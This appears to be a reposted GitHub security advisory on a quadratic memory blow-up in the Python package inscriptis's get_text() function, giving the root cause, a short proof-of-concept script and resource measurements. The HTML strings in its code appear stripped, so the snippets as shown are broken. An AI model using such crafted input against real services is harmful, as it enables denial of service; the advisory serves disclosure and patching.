Home/Research/Post

GHSA-q87h-c5m7-659j: Inscriptis: Quadratic memory growth from sibling elements in get_text()

  • Severity: MEDIUM
  • CVE: CVE-2026-132277
  • Ecosystems: pip
  • Packages: inscriptis

# Summary

Every sibling “ adds another level of the parent’s indentation, so the size of `get_text()` output grows quadratically with the number of tables. In the measurements below, a 240 KB HTML document produces about 1 billion characters and uses about 1 GB of memory.

# Details

`table_end_handler()` (`model/tag/table_tag.py`) writes the rendered table into the parent element with `HtmlElement.write_verbatim_text()` (`model/html_element.py`). For a block-level parent, `write_verbatim_text()` calls `canvas.open_block()`, which pushes the parent’s `padding_inline` onto the prefix stack. The following `close_block()` never pops it; only `Canvas.close_tag()` calls `prefix.remove_last_prefix()`. So each table leaves one extra padding entry on the stack.

This has been present since 2.0 (commit 84ec720).

“`python
>>> get_text(” + ‘a’ * 4 + ”)
‘ a\n \n a\n \n a\n \n a\n ‘
“`

# PoC

“`python
import sys, time, resource
from inscriptis import get_text

n = int(sys.argv[1])
html = “” + “” * n + “”
t = time.time(); out = get_text(html)
print(len(html), f”{time.time()-t:.2f}s”, len(out), resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 2**20, “MiB”)
“`

inscriptis 2.7.5, Python 3.11, macOS (2.0.0 behaves the same):

| tables | HTML | time | output chars | peak RSS |
|—|—|—|—|—|
| 1,000 | 15 KB | 0.02 s | 4.0 M | 31 MiB |
| 4,000 | 60 KB | 0.33 s | 64 M | 154 MiB |
| 8,000 | 120 KB | 1.31 s | 256 M | 463 MiB |
| 16,000 | 240 KB | 5.63 s | 1,024 M | 991 MiB |…

Source: GitHub Security Advisories · 2026-11-20